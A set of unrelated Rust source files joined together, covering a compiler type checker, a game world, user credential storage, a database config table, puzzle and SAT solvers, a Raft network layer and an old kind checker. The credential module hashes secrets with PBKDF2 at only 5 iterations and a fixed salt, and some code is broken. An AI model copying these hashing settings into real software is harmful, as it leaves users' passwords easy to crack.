_ => Err(format!("Integer required at {}", pos)),
}
},
EqOp | NeqOp => {
match (left_ty, right_ty) {
(Ty::Int, Ty::Int) => Ok(ExpTy { exp: (), ty: Ty::Int }),
_ => Err(format!("Integer required at {}", pos)),
}
}
}
},
&ast::Exp::RecordExp { ref fields, typ, pos } => {
Err("unimplemented".to_string())
},
&ast::Exp::SeqExp(ref v) => {
if v.len() == 0 {
Ok(ExpTy { exp: (), ty: Ty::Nil })
} else {
self.trans_exp(&v[v.len() - 1])
}
},
&ast::Exp::AssignExp { .. } => Ok(ExpTy { exp: (), ty: Ty::Unit }),
&ast::Exp::IfExp { ref test, ref then_, ref else_, pos } => {
let ExpTy { ty: test_ty, .. } = self.trans_exp(test)?;
let then_ty = self.trans_exp(then_)?;
if test_ty == Ty::Int {
if else_.is_some() {
let else_ty = self.trans_exp(else_.as_ref().unwrap())?;
if else_ty.ty == then_ty.ty {
Ok(ExpTy { exp: (), ty: else_ty.ty })
} else {
Err(format!("then ({:?} and else {:?} branch are not of the same type",
then_ty.ty, else_ty.ty))
}
} else {
Ok(then_ty)
}
} else {
Err(format!("integer required for test at {}", pos))
}
},
&ast::Exp::WhileExp { ref test, ref body, pos } => {
let ExpTy { ty: test_ty, .. } = self.trans_exp(test)?;
let _ = self.trans_exp(body)?;
if test_ty == Ty::Int {
Ok(ExpTy { ty: Ty::Unit, exp: () })
} else {
Err(format!("integer required for test at {}", pos))
}
},
&ast::Exp::ForExp { var, ref lo, ref hi, ref body, pos, .. } => {
let ExpTy { ty: lo_ty, .. } = self.trans_exp(lo)?;
let ExpTy { ty: hi_ty, .. } = self.trans_exp(hi)?;
// add var to environment
let _ = self.trans_exp(body)?;
Err("unimplemented".to_string())
}
&ast::Exp::BreakExp(pos) => Ok(ExpTy { ty: Ty::Unit, exp: () }),
&ast::Exp::LetExp { ref decs, ref body, pos } => {
self.trans_dec(decs, body)
},
&ast::Exp::ArrayExp { typ, ref size, ref init, pos } => {
Err("unimplemented".to_string())
},
}
}
}
#[test]
fn test_trans_exp() {
use parser::parse;
let (p, symbol_table) = parse("2 + 2").unwrap();
let venv = ValueEnv::new(None);
let tenv = TypeEnv::new(None);
let unique_gen = RefCell::new(UniqueGenerator::new());
let mut type_checker = TypeChecker::new(&symbol_table, &venv, &tenv, &unique_gen);
let venv2 = ValueEnv::new(Some(&venv));
let mut tcheck2 = TypeChecker::new_with_venv(&mut type_checker, &venv2);
let ExpTy { ty, .. } = tcheck2.trans_exp(&*p).unwrap();
println!("{:?}", ty);
} |
use piston_window::G2d;
use std::collections::HashMap;
use graphics::Transformed;
use graphics::math::{ Scalar, Vec2d, Matrix2d };
use std::f64::consts::PI;
use super::chunk::Chunk;
use util::graphics::Image;
use game::camera::Camera;
use game::player::{ self, Player };
use game::*;
use game::operation::*;
pub const TILE_SIZE: f64 = 1.0;
pub const TILE_RECT: [f64; 4] = [0.0, 0.0, 1.0, 1.0];
const ROTATE_RATIO: f64 = 1.0;
pub struct World {
player: Player,
chunks: HashMap<(i32, i32), Chunk>,
camera: Camera,
}
impl World {
pub fn new(width: Scalar, height: Scalar) -> World {
let mut chunks = HashMap::new();
chunks.insert((0, 0), Chunk::new());
World {
player: Player::new(),
chunks: chunks,
camera: Camera::new(width, height),
}
}
pub fn draw(&self, con: &mut DContext, g: &mut G2d) {
con.transform = con.transform.append_transform(self.camera.get_transform());
let chunk = self.chunks.get(&(0, 0)).expect("Could not load chunk");
for (x, y, _tile) in chunk.iter() {
Image::new(con.tile_textures.get("green"), TILE_RECT).draw(g, con.transform.trans(x as Scalar * TILE_SIZE, y as Scalar * TILE_SIZE));
}
self.player.draw(con, g);
}
pub fn update(&mut self, con: &mut UContext) {
self.operation(con);
self.camera.update(con, self.player.rotation);
self.player.update(con, &mut self.camera);
}
fn operation(&mut self, con: &mut UContext) {
for op in con.input_state.vec().iter() {
match op {
&Operation::Cursor(x, _y) => {
let rad = x * ROTATE_RATIO * con.dt;
self.player.rotate(rad);
}
_ => {},
}
}
}
}
|
#[cfg(feature = "redis-backend")]
use redis::{ErrorKind, FromRedisValue, RedisResult, ToRedisArgs, Value as RedisValue};
use ring::{digest, pbkdf2};
#[cfg(feature = "dynamo-backend")]
use rusoto_dynamodb::AttributeValue;
#[cfg(feature = "redis-backend")]
use serde_json;
#[cfg(feature = "dynamo-backend")]
use std::collections::HashMap;
#[cfg(feature = "dynamo-backend")]
use storage::dynamo::{DynamoError, FromAttrMap};
static DIGEST_ALG: &'static digest::Algorithm = &digest::SHA256;
const CREDENTIAL_LEN: usize = digest::SHA256_OUTPUT_LEN;
const ITERATIONS: u32 = 5;
const SALT: [u8; 16] = [
// This value was generated from a secure PRNG.
0xd6, 0x26, 0x98, 0xda, 0xf4, 0xdc, 0x50, 0x52,
0x24, 0xf2, 0x27, 0xd1, 0xfe, 0x39, 0x01, 0x8a
];
pub type Credential = [u8; CREDENTIAL_LEN];
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct User {
pub uuid: String,
pub key: String,
pub hash: Credential,
is_admin: bool,
}
impl User {
pub fn new(uuid: String, key: String, secret: String, is_admin: bool) -> User {
let hash = User::generate_hash(key.as_str(), secret.as_str());
User {
uuid: uuid,
key: key,
hash: hash,
is_admin: is_admin,
}
}
pub fn is_admin(&self) -> bool {
self.is_admin
}
// Example implementation from ring library: https://briansmith.org/rustdoc/ring/pbkdf2/
pub fn generate_hash(key: &str, secret: &str) -> Credential {
let salt = User::salt(key);
let mut to_store: Credential = [0u8; CREDENTIAL_LEN];
pbkdf2::derive(
DIGEST_ALG,
ITERATIONS,
&salt,
secret.as_bytes(),
&mut to_store,
);
to_store
}
pub fn verify_secret(&self, secret: &str) -> bool {
let salt = User::salt(&self.key);
pbkdf2::verify(DIGEST_ALG, ITERATIONS, &salt, secret.as_bytes(), &self.hash).is_ok()
}
// The salt should have a user-specific component so that an attacker
// cannot crack one password for multiple users in the database. It
// should have a database-unique component so that an attacker cannot
// crack the same user's password across databases in the unfortunate
// but common case that the user has used the same password for
// multiple systems.
fn salt(key: &str) -> Vec<u8> {
let mut salt = Vec::with_capacity(SALT.len() + key.as_bytes().len());
salt.extend(SALT.as_ref());
salt.extend(key.as_bytes());
salt
}
}
#[cfg(feature = "redis-backend")]
impl FromRedisValue for User {
fn from_redis_value(v: &RedisValue) -> RedisResult<User> {
match *v {
RedisValue::Data(ref data) => {
let data = String::from_utf8(data.clone());
data.or_else(|_| Err((ErrorKind::TypeError, "Expected utf8 string").into()))
.and_then(|ser| {
serde_json::from_str(ser.as_str()).or_else(|_| {
let err = (ErrorKind::TypeError, "Unable to deserialize json to User");
Err(err.into())
})
})
}
_ => {
let err = (
ErrorKind::TypeError,
"Recieved non-data type for deserializing",
);
Err(err.into())
}
}
}
}
#[cfg(feature = "redis-backend")]
impl<'a> ToRedisArgs for User {
fn write_redis_args(&self, out: &mut Vec<Vec<u8>>) {
let ser = serde_json::to_string(&self);
out.push(
match ser {
Ok(json) => json.as_bytes().into(),
// Because this trait can not normally fail, but json serialization
// can fail, the failure cause is encoded as a special value that
// is checked by the store
Err(_) => "fail".to_string().as_bytes().into(),
},
)
}
}
#[cfg(feature = "dynamo-backend")]
impl Into<HashMap<String, AttributeValue>> for User {
fn into(self) -> HashMap<String, AttributeValue> {
let mut uuid_attr = AttributeValue::default();
uuid_attr.s = Some(self.uuid);
let mut key_attr = AttributeValue::default();
key_attr.s = Some(self.key);
let mut hash_attr = AttributeValue::default();
hash_attr.s = Some(self.hash);
let mut is_admin_attr = AttributeValue::default();
is_admin_attr.bool = Some(self.is_admin);
let mut map = HashMap::new();
map.insert("uuid".into(), uuid_attr);
map.insert("key".into(), key_attr);
map.insert("hash".into(), hash_attr);
map.insert("is_admin".into(), is_admin_attr);
map
}
}
#[cfg(feature = "dynamo-backend")]
impl FromAttrMap<User> for User {
type Error = BannerError;
fn from_attr_map(mut map: HashMap<String, AttributeValue>) -> Result<User, BannerError> {
let uuid = map.remove("uuid").and_then(|uuid_data| uuid_data.s);
let key = map.remove("key").and_then(|key_data| key_data.s);
let hash = map.remove("hash").and_then(|hash_data| hash_data.s);
let is_admin = map.remove("is_admin")
.and_then(|is_admin_data| is_admin_data.bool);
if let (Some(u), Some(k), Some(s), Some(a)) = (uuid, key, hash, is_admin) {
Ok(User::new(u, k, s, a))
} else {
Err(DynamoError::FailedToParseResponse.into())
}
}
}
|
// Copyright 2021 Datafuse Labs.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
use std::sync::Arc;
use common_base::base::mask_string;
use common_catalog::table::Table;
use common_catalog::table_context::TableContext;
use common_config::Config;
use common_config::GlobalConfig;
use common_exception::Result;
use common_expression::types::StringType;
use common_expression::utils::FromData;
use common_expression::DataBlock;
use common_expression::TableDataType;
use common_expression::TableField;
use common_expression::TableSchemaRefExt;
use common_meta_app::schema::TableIdent;
use common_meta_app::schema::TableInfo;
use common_meta_app::schema::TableMeta;
use itertools::Itertools;
use serde_json::Value as JsonValue;
use serde_json::Value;
use crate::SyncOneBlockSystemTable;
use crate::SyncSystemTable;
pub struct ConfigsTable {
table_info: TableInfo,
}
impl SyncSystemTable for ConfigsTable {
const NAME: &'static str = "system.config";
fn get_table_info(&self) -> &TableInfo {
&self.table_info
}
fn get_full_data(&self, _ctx: Arc<dyn TableContext>) -> Result<DataBlock> {
let config = GlobalConfig::instance().as_ref().clone().into_config();
let mut names: Vec<String> = vec![];
let mut values: Vec<String> = vec![];
let mut groups: Vec<String> = vec![];
let mut descs: Vec<String> = vec![];
let query_config = config.query;
// Obsolete.
let query_config_value = Self::remove_obsolete_configs(serde_json::to_value(query_config)?);
// Mask.
let query_config_value = Self::mask_configs(query_config_value);
ConfigsTable::extract_config(
&mut names,
&mut values,
&mut groups,
&mut descs,
"query".to_string(),
query_config_value,
);
let log_config = config.log;
let log_config_value = serde_json::to_value(log_config)?;
ConfigsTable::extract_config(
&mut names,
&mut values,
&mut groups,
&mut descs,
"log".to_string(),
log_config_value,
);
let meta_config = config.meta;
let meta_config_value = serde_json::to_value(meta_config)?;
ConfigsTable::extract_config(
&mut names,
&mut values,
&mut groups,
&mut descs,
"meta".to_string(),
meta_config_value,
);
let cache_config = config.cache;
let cache_config_value = serde_json::to_value(cache_config)?;
ConfigsTable::extract_config(
&mut names,
&mut values,
&mut groups,
&mut descs,
"cache".to_string(),
cache_config_value,
);
// Clone storage config to avoid change it's value.
//
// TODO(xuanwo):
// Refactor into config so that config can decide which value needs mask.
let mut storage_config = config.storage;
storage_config.s3.access_key_id = mask_string(&storage_config.s3.access_key_id, 3);
storage_config.s3.secret_access_key = mask_string(&storage_config.s3.secret_access_key, 3);
storage_config.gcs.credential = mask_string(&storage_config.gcs.credential, 3);
storage_config.azblob.account_name = mask_string(&storage_config.azblob.account_name, 3);
storage_config.azblob.account_key = mask_string(&storage_config.azblob.account_key, 3);
storage_config.webhdfs.webhdfs_delegation =
mask_string(&storage_config.webhdfs.webhdfs_delegation, 3);
let storage_config_value = serde_json::to_value(storage_config)?;
ConfigsTable::extract_config(
&mut names,
&mut values,
&mut groups,
&mut descs,
"storage".to_string(),
storage_config_value,
);
let names: Vec<Vec<u8>> = names.iter().map(|x| x.as_bytes().to_vec()).collect();
let values: Vec<Vec<u8>> = values.iter().map(|x| x.as_bytes().to_vec()).collect();
let groups: Vec<Vec<u8>> = groups.iter().map(|x| x.as_bytes().to_vec()).collect();
let descs: Vec<Vec<u8>> = descs.iter().map(|x| x.as_bytes().to_vec()).collect();
Ok(DataBlock::new_from_columns(vec![
StringType::from_data(groups),
StringType::from_data(names),
StringType::from_data(values),
StringType::from_data(descs),
]))
}
}
impl ConfigsTable {
pub fn create(table_id: u64) -> Arc<dyn Table> {
let schema = TableSchemaRefExt::create(vec![
TableField::new("group", TableDataType::String),
TableField::new("name", TableDataType::String),
TableField::new("value", TableDataType::String),
TableField::new("description", TableDataType::String),
]);
let table_info = TableInfo {
desc: "'system'.'configs'".to_string(),
name: "configs".to_string(),
ident: TableIdent::new(table_id, 0),
meta: TableMeta {
schema,
engine: "SystemConfigs".to_string(),
..Default::default()
},
..Default::default()
};
SyncOneBlockSystemTable::create(ConfigsTable { table_info })
}
fn extract_config(
names: &mut Vec<String>,
values: &mut Vec<String>,
groups: &mut Vec<String>,
descs: &mut Vec<String>,
group: String,
config_value: JsonValue,
) {
ConfigsTable::extract_config_with_name_prefix(
names,
values,
groups,
descs,
group,
config_value,
None,
);
}
fn extract_config_with_name_prefix(
names: &mut Vec<String>,
values: &mut Vec<String>,
groups: &mut Vec<String>,
descs: &mut Vec<String>,
group: String,
config_value: JsonValue,
name_prefix: Option<String>,
) {
for (k, v) in config_value.as_object().unwrap().into_iter() {
match v {
JsonValue::String(s) => ConfigsTable::push_config(
names,
values,
groups,
descs,
k.to_string(),
s.to_string(),
group.clone(),
"".to_string(),
name_prefix.clone(),
),
JsonValue::Number(n) => ConfigsTable::push_config(
names,
values,
groups,
descs,
k.to_string(),
n.to_string(),
group.clone(),
"".to_string(),
name_prefix.clone(),
),
JsonValue::Bool(b) => ConfigsTable::push_config(
names,
values,
groups,
descs,
k.to_string(),
b.to_string(),
group.clone(),
"".to_string(),
name_prefix.clone(),
),
JsonValue::Array(v) => ConfigsTable::push_config(
names,
values,
groups,
descs,
k.to_string(),
v.iter().join(","),
group.clone(),
"".to_string(),
name_prefix.clone(),
),
JsonValue::Object(_) => ConfigsTable::extract_config_with_name_prefix(
names,
values,
groups,
descs,
group.clone(),
v.clone(),
if let Some(prefix) = &name_prefix {
Some(format!("{prefix}.{k}"))
} else {
Some(k.to_string())
},
),
JsonValue::Null => ConfigsTable::push_config(
names,
values,
groups,
descs,
k.to_string(),
"null".to_string(),
group.clone(),
"".to_string(),
name_prefix.clone(),
),
}
}
}
#[allow(clippy::too_many_arguments)]
fn push_config(
names: &mut Vec<String>,
values: &mut Vec<String>,
groups: &mut Vec<String>,
descs: &mut Vec<String>,
name: String,
value: String,
group: String,
desc: String,
name_prefix: Option<String>,
) {
if let Some(prefix) = name_prefix {
names.push(format!("{}.{}", prefix, name));
} else {
names.push(name);
}
values.push(value);
groups.push(group);
descs.push(desc);
}
fn remove_obsolete_configs(config_json: JsonValue) -> JsonValue {
match config_json {
Value::Object(mut config_json_obj) => {
for key in Config::obsoleted_option_keys().iter() {
config_json_obj.remove(*key);
}
JsonValue::Object(config_json_obj)
}
_ => config_json,
}
}
fn mask_configs(config_json: JsonValue) -> JsonValue {
match config_json {
Value::Object(mut config_json_obj) => {
for key in Config::mask_option_keys().iter() {
if let Some(_value) = config_json_obj.get(*key) {
config_json_obj
.insert(key.to_string(), Value::String("******".to_string()));
}
}
JsonValue::Object(config_json_obj)
}
_ => config_json,
}
}
}
|
pub use amcl::nist256 as curve;
#[derive(Serialize, Deserialize)]
pub struct ClientRequestWrapper {
pub bl_sig_req: String,
pub host: String,
pub http: String,
}
#[derive(Serialize, Deserialize)]
pub struct ClientRequest {
#[serde(rename = "type")]
pub type_f: String,
pub contents: Vec<String>,
}
|
use crate::utils;
pub fn run(problem: &i32, input: &str) {
match problem {
1 => {
problem1(input);
}
2 => {
problem2(input);
}
_ => {
panic!("Unknown problem: {}", problem);
}
};
}
fn problem1(input: &str) {
let mut count: i32 = 0;
for value in utils::puzzle_input(input) {
let (range1, range2) = parse_puzzle_input(&value);
if fully_contains(range1, range2) || fully_contains(range2, range1) {
count += 1;
}
}
println!("{} pairs fully contains one another", count);
}
fn problem2(input: &str) {
let mut count: i32 = 0;
for value in utils::puzzle_input(input) {
let (range1, range2) = parse_puzzle_input(&value);
if overlaps(range1, range2) || overlaps(range2, range1) {
count += 1;
}
}
println!("{} pairs fully contains one another", count);
}
fn parse_puzzle_input(value: &str) -> ((i32, i32), (i32, i32)) {
let parts: Vec<&str> = value.split(",").collect();
let range1: Vec<i32> = parts[0].split("-").map(|v| { return v.parse::<i32>().unwrap(); }).collect();
let range2: Vec<i32> = parts[1].split("-").map(|v| { return v.parse::<i32>().unwrap(); }).collect();
return ((range1[0], range1[1]), (range2[0], range2[1]));
}
fn fully_contains(range: (i32, i32), contains: (i32, i32)) -> bool {
let (a, b) = range;
let (c, d) = contains;
return a <= c && d <= b;
}
fn overlaps(range1: (i32, i32), range2: (i32, i32)) -> bool {
let (a, b) = range1;
let (c, d) = range2;
return a <= d && c <= b;
}
|
use crate::solver::*;
use crate::graph::Incidence;
use itertools::Itertools;
impl Solve for Incidence {
fn solve(self, td: Decomposition, k: usize, formula: Formula) -> Option<(Assignment, usize)> {
let nice_td = make_nice(&self, td, true);
let tree_index = tree_index(&nice_td, k, self.size());
let traversal = traverse_order(&nice_td);
let mut config_stack = Vec::<(Vec<Configuration>, usize)>::new();
let traversal_len = traversal.len();
for (step, i) in traversal.into_iter().enumerate() {
let (_, node) = &nice_td[i];
match node {
&Leaf => {
// push empty configuration
config_stack.push((vec![(0, 0, Vec::new())], 0));
},
&Introduce(clause) if self.is_clause(clause) => {
let mut config = config_stack.pop()?;
// mark bit as clause
set_bit(&mut config.1, tree_index[clause], true);
config_stack.push(config);
},
&Introduce(var) => {
let (mut config, clause_mask) = config_stack.pop()?;
duplicate_configs(&mut config, var, &tree_index);
config_stack.push((config, clause_mask));
},
&Forget(clause) if self.is_clause(clause) => {
let (mut config, mut clause_mask) = config_stack.pop()?;
reject_unsatisfied(&mut config, clause, &tree_index, &formula);
// unmark clause-bit
set_bit(&mut clause_mask, tree_index[clause], false);
deduplicate(&mut config);
config_stack.push((config, clause_mask));
},
&Forget(var) => {
let (mut config, clause_mask) = config_stack.pop()?;
for (a, _, _) in &mut config {
// unset bit of variable
set_bit(a, tree_index[var], false);
}
deduplicate(&mut config);
config_stack.push((config, clause_mask));
},
&Edge(u, v) => {
let (mut config, clause_mask) = config_stack.pop()?;
let clause = if u < v { u } else { v };
let var = if u < v { v } else { u };
let negated = var == u;
for (a, _, _) in &mut config {
// set clause to true if the literal represented by the edge is true
let literal = if negated { !get_bit(a, tree_index[var]) } else { get_bit(a, tree_index[var]) };
if literal {
set_bit(a, tree_index[clause], true);
}
}
deduplicate(&mut config);
config_stack.push((config, clause_mask));
},
&Join => {
let (left_config, clauses) = config_stack.pop()?;
let (right_config, _) = config_stack.pop()?;
let intersection = config_intersection(left_config, right_config, clauses);
config_stack.push((intersection, clauses));
}
}
if config_stack.last().map_or(true, |(config, _)| config.is_empty()) {
println!("c No solution found after {}/{} steps", step, traversal_len);
return None;
}
}
let last = config_stack.pop()?;
let (_, score, variables) = &last.0[0];
let mut assignment = vec![false; formula.n_vars];
for v in variables {
let variable_index = v - formula.n_clauses;
assignment[variable_index] = true;
}
Some((assignment, *score))
}
}
fn reject_unsatisfied(config: &mut Vec<Configuration>, clause: usize, tree_index: &Vec<usize>, f: &Formula) {
let mut rejected = vec![];
for (i, (a, s, _)) in config.iter_mut().enumerate() {
if get_bit(a, tree_index[clause]) {
// clause is true: unset bit and update score
set_bit(a, tree_index[clause], false);
*s += if f.is_hard(&clause) { 0 } else { f.weight(&clause) };
} else if f.is_hard(&clause) {
// clause is not true, but is a hard clause: reject assignment
rejected.push(i);
}
}
// remove rejected configs
rejected.reverse();
for i in rejected {
config.swap_remove(i);
}
}
fn config_intersection(left: Vec<Configuration>, right: Vec<Configuration>, clauses: usize) -> Vec<Configuration> {
let _min_fingerprint = left.iter().map(|(a, _, _)| a & !clauses).max().unwrap();
let max_fingerprint = left.iter().map(|(a, _, _)| a & !clauses).max().unwrap();
let mut indexes = vec![vec![]; max_fingerprint+1];
for (i, (a, _ , _)) in left.iter().enumerate() {
// we only care about assignment of variables here.
let variable_assignment = a & !clauses;
indexes[variable_assignment].push(i);
}
// keep only those variable assignments that are in left and in right
right.into_iter().filter_map(|(a, s, v)| {
let variable_assignment = a & !clauses;
if variable_assignment > max_fingerprint || indexes[variable_assignment].is_empty() {
None
} else {
// since an assignment can have different values for clauses (due to forgotten variables) we need to look
// at the bitwise OR of every such clause assignment
let mut bitwise_or = Vec::with_capacity(indexes[variable_assignment].len());
for &other_index in &indexes[variable_assignment] {
let (other_a, other_s, other_v) = &left[other_index];
bitwise_or.push((a | other_a, s + other_s, v.iter().chain(other_v.iter()).unique().copied().collect()));
}
Some(bitwise_or)
}
}).flatten().collect()
} |
use std::collections::HashMap;
use std::net::SocketAddr;
use std::sync::Arc;
use tokio::sync::{Mutex, MutexGuard};
use crate::protobuf::raft_rpc_client::RaftRpcClient;
use crate::protobuf::{AppendEntriesRequest, AppendEntriesResponse, VoteRequest, VoteResponse};
use crate::raft::NodeId;
use crate::raft::Result;
pub type ClientEnd = RaftRpcClient<tonic::transport::Channel>;
/// Maintains a connection to another Raft node (peer)
#[derive(Debug, Clone)]
pub struct Peer {
pub(crate) addr: SocketAddr,
connection: Arc<Mutex<Option<ClientEnd>>>,
}
impl Peer {
/// Creates a new peer connection-holder without initiating the connection
fn new(addr: SocketAddr) -> Self {
Self {
addr,
connection: Arc::new(Mutex::new(None)),
}
}
/// Returns the internally stored gRPC connection, reloading it if the connection failed
pub async fn load_connection(&self) -> Result<MutexGuard<'_, Option<ClientEnd>>> {
let mut connection = self.connection.lock().await;
if connection.is_none() {
let addr = format!("http://{:}", self.addr);
let conn = RaftRpcClient::connect(addr).await?;
*connection = Some(conn);
}
Ok(connection)
}
/// Serialised and sends an [AppendEntriesRequest] RPC call to the peer and returns the result
pub async fn send_append_entries(
&self,
request: AppendEntriesRequest,
) -> Result<AppendEntriesResponse> {
let mut conn = self.load_connection().await?;
let conn = conn.as_mut().unwrap();
let request = tonic::Request::new(request);
let result = conn.append_entries(request).await?;
Ok(result.into_inner())
}
/// Serialised and sends an [VoteRequest] RPC call to the peer and returns the result
pub async fn send_request_vote(&self, request: VoteRequest) -> Result<VoteResponse> {
let mut conn = self.load_connection().await?;
let conn = conn.as_mut().unwrap();
let request = tonic::Request::new(request);
let result = conn.request_vote(request).await?;
Ok(result.into_inner())
}
}
/// Container for a collection of Raft peers
#[derive(Debug, Clone)]
pub struct RaftNetwork {
pub peers: HashMap<NodeId, Arc<Peer>>,
}
impl RaftNetwork {
pub fn new(peers: HashMap<NodeId, Arc<Peer>>) -> Self {
Self { peers }
}
pub fn from_addresses(addrs: &Vec<SocketAddr>) -> Self {
let peers: HashMap<NodeId, Arc<Peer>> = addrs
.iter()
.map(|&addr| Arc::new(Peer::new(addr)))
.enumerate()
.map(|(id, p)| (id as NodeId, p))
.collect();
Self { peers }
}
}
|
/*
* Kinds are types of type.
*
* Every type has a kind. Every type parameter has a set of kind-capabilities
* saying which kind of type may be passed as the parameter.
*
* The kinds are based on two capabilities: move and send. These may each be
* present or absent, though only three of the four combinations can actually
* occur:
*
*
*
* MOVE + SEND = "Unique": no shared substructures or pins, only
* interiors and ~ boxes.
*
* MOVE + NOSEND = "Shared": structures containing @, fixed to the local
* task heap/pool; or ~ structures pointing to
* pinned values.
*
* NOMOVE + NOSEND = "Pinned": structures directly containing resources, or
* by-alias closures as interior or
* uniquely-boxed members.
*
* NOMOVE + SEND = -- : no types are like this.
*
*
* Since this forms a lattice, we denote the capabilites in terms of a
* worst-case requirement. That is, if your function needs to move-and-send
* (or copy) your T, you write fn<~T>(...). If you need to move but not send,
* you write fn<@T>(...). And if you need neither -- can work with any sort of
* pinned data at all -- then you write fn<T>(...).
*
*
* Most types are unique or shared. Other possible name combinations for these
* two: (tree, graph; pruned, pooled; message, local; owned, common) are
* plausible but nothing stands out as completely pithy-and-obvious.
*
* Resources cannot be copied or sent; they're pinned. They can't be copied
* because it would interfere with destruction (multiple destruction?) They
* cannot be sent because we don't want to oblige the communication system to
* run destructors in some weird limbo context of messages-in-transit. It
* should always be ok to just free messages it's dropping.
*
* Note that obj~ and fn~ -- those that capture a unique environment -- can be
* sent, so satisfy ~T. So can plain obj and fn.
*
*
* Further notes on copying and moving; sending is accomplished by calling a
* move-in operator on something constrained to a unique type ~T.
*
*
* COPYING:
* --------
*
* A copy is made any time you pass-by-value or execute the = operator in a
* non-init expression.
*
* @ copies shallow, is always legal
* ~ copies deep, is only legal if pointee is unique.
* pinned values (pinned resources, alias-closures) can't be copied
* all other unique (eg. interior) values copy shallow
*
* Note this means that only type parameters constrained to ~T can be copied.
*
* MOVING:
* -------
*
* A move is made any time you pass-by-move (that is, with 'move' mode) or
* execute the <- operator.
*
*/
import syntax::ast;
import syntax::visit;
import std::ivec;
import ast::kind;
import ast::kind_unique;
import ast::kind_shared;
import ast::kind_pinned;
fn kind_lteq(a: kind, b: kind) -> bool {
alt a {
kind_pinned. { true }
kind_shared. { b != kind_pinned }
kind_unique. { b == kind_unique }
}
}
fn lower_kind(a: kind, b: kind) -> kind {
if kind_lteq(a, b) { a } else { b }
}
fn kind_to_str(k: kind) -> str {
alt k {
ast::kind_pinned. { "pinned" }
ast::kind_unique. { "unique" }
ast::kind_shared. { "shared" }
}
}
fn type_and_kind(tcx: &ty::ctxt, e: &@ast::expr)
-> {ty: ty::t, kind: ast::kind} {
let t = ty::expr_ty(tcx, e);
let k = ty::type_kind(tcx, t);
{ty: t, kind: k}
}
fn need_expr_kind(tcx: &ty::ctxt, e: &@ast::expr,
k_need: ast::kind, descr: &str) {
let tk = type_and_kind(tcx, e);
log #fmt("for %s: want %s type, got %s type %s",
descr,
kind_to_str(k_need),
kind_to_str(tk.kind),
util::ppaux::ty_to_str(tcx, tk.ty));
if ! kind_lteq(k_need, tk.kind) {
let s =
#fmt("mismatched kinds for %s: needed %s type, got %s type %s",
descr,
kind_to_str(k_need),
kind_to_str(tk.kind),
util::ppaux::ty_to_str(tcx, tk.ty));
tcx.sess.span_err(e.span, s);
}
}
fn need_shared_lhs_rhs(tcx: &ty::ctxt,
a: &@ast::expr, b: &@ast::expr,
op: &str) {
need_expr_kind(tcx, a, ast::kind_shared, op + " lhs");
need_expr_kind(tcx, b, ast::kind_shared, op + " rhs");
}
fn check_expr(tcx: &ty::ctxt, e: &@ast::expr) {
alt e.node {
ast::expr_move(a, b) { need_shared_lhs_rhs(tcx, a, b, "<-"); }
ast::expr_assign(a, b) { need_shared_lhs_rhs(tcx, a, b, "="); }
ast::expr_swap(a, b) { need_shared_lhs_rhs(tcx, a, b, "<->"); }
ast::expr_call(callee, _) {
let tpt = ty::expr_ty_params_and_ty(tcx, callee);
// If we have typarams, we're calling an item; we need to check
// that all the types we're supplying as typarams conform to the
// typaram kind constraints on that item.
if ivec::len(tpt.params) != 0u {
let callee_def = ast::def_id_of_def(tcx.def_map.get(callee.id));
let item_tk = ty::lookup_item_type(tcx, callee_def);
let i = 0;
assert ivec::len(item_tk.kinds) == ivec::len(tpt.params);
for k_need: ast::kind in item_tk.kinds {
let t = tpt.params.(i);
let k = ty::type_kind(tcx, t);
if ! kind_lteq(k_need, k) {
let s = #fmt("mismatched kinds for typaram %d: \
needed %s type, got %s type %s",
i,
kind_to_str(k_need),
kind_to_str(k),
util::ppaux::ty_to_str(tcx, t));
tcx.sess.span_err(e.span, s);
}
i += 1;
}
}
}
_ { }
}
}
fn check_crate(tcx: &ty::ctxt, crate: &@ast::crate) {
let visit = visit::mk_simple_visitor
(@{visit_expr: bind check_expr(tcx, _)
with *visit::default_simple_visitor()});
visit::visit_crate(*crate, (), visit);
tcx.sess.abort_if_errors();
}
//
// Local Variables:
// mode: rust
// fill-column: 78;
// indent-tabs-mode: nil
// c-basic-offset: 4
// buffer-file-coding-system: utf-8-unix
// compile-command: "make -k -C $RBUILD 2>&1 | sed -e 's/\\/x\\//x:\\//g'";
// End:
//
|
// Copyright 2021 Datafuse Labs.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
use std::any::Any;
use std::sync::Arc;
use common_catalog::catalog::StorageDescription;
use common_catalog::plan::DataSourcePlan;
use common_catalog::plan::PartStatistics;
use common_catalog::plan::Partitions;
use common_catalog::plan::PushDownInfo;
use common_catalog::table::AppendMode;
use common_catalog::table::Table;
use common_catalog::table_context::TableContext;
use common_exception::Result;
use common_expression::DataBlock;
use common_expression::DataSchemaRef;
use common_meta_app::schema::TableInfo;
use common_pipeline_core::processors::port::OutputPort;
use common_pipeline_core::processors::processor::ProcessorPtr;
use common_pipeline_core::Pipeline;
use common_pipeline_sinks::EmptySink;
use common_pipeline_sources::SyncSource;
use common_pipeline_sources::SyncSourcer;
pub struct NullTable {
table_info: TableInfo,
}
impl NullTable {
pub fn try_create(table_info: TableInfo) -> Result<Box<dyn Table>> {
Ok(Box::new(Self { table_info }))
}
pub fn description() -> StorageDescription {
StorageDescription {
engine_name: "NULL".to_string(),
comment: "NULL Storage Engine".to_string(),
..Default::default()
}
}
}
#[async_trait::async_trait]
impl Table for NullTable {
fn as_any(&self) -> &dyn Any {
self
}
fn get_table_info(&self) -> &TableInfo {
&self.table_info
}
async fn read_partitions(
&self,
_ctx: Arc<dyn TableContext>,
_push_downs: Option<PushDownInfo>,
) -> Result<(PartStatistics, Partitions)> {
Ok((PartStatistics::default(), Partitions::default()))
}
fn read_data(
&self,
ctx: Arc<dyn TableContext>,
_: &DataSourcePlan,
pipeline: &mut Pipeline,
) -> Result<()> {
